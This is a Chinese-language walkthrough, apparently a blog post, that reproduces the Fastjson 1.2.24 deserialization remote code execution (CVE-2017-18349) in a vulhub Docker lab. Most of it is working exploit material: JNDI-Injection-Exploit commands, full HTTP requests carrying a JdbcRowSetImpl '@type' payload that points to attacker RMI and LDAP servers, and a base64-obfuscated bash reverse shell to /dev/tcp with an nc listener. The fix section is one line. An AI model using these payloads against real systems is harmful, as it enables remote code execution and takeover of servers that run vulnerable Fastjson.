CVE-2017-18349

漏洞描述

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

漏洞影响版本

Fastjson1.2.24及之前版本

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

漏洞复现

环境搭建

利用vulhub的docker镜像快速搭建

image-20230926155541037

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

image-20230926155700132

漏洞利用

code1:

向发送POST一个JSON对象,就可以更新服务端的信息

1
curl http://192.168.142.133:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

image-20230926155732126

可以使用 JNDI-Injection-Exploit 生成JNDI链接并启动后端相关服务

JNDI-Injection-Exploit介绍和安装在GitHub都有(安装需要Java和Maven环境去编译

1
https://github.com/welk1n/JNDI-Injection-Exploit/tree/master

image-20230919215505341

image-20230926155846770

运行 JNDI-Injection-Exploit

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/shell" -A "192.168.142.133"

image-20230926160106244

在burp上进行抓包发送payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 192.168.142.133:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 162

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.142.133:1099/tmhawa",
"autoCommit":true
}
}

进入docker验证是否成功

image-20230926160400336

命令成功执行

进行反弹shell

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.142.133"

image-20230926161024085

开启nc监听

image-20230926161001366

burp发送payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 192.168.142.133:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 163

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.142.133:1389/ooeezh",
"autoCommit":true
}
}

成功拿到shell

image-20230926161438190

code2:

vulhub给的wp:是使用 marshalsec

1
https://github.com/mbechler/marshalsec

最后burp发送的json对象可以使用burp上面的FastJsonScan插件生成

1
https://github.com/pmiaowu/BurpFastJsonScan

image-20230926162005573

漏洞修复

安装最新版本或打上官方补丁

复现环境所需安装包以及工具

image-20230926161835634

1
2
链接:https://pan.baidu.com/s/19Fq7lAq5oJ2NzNbFUKPHNQ?pwd=m9mm 
提取码:m9mm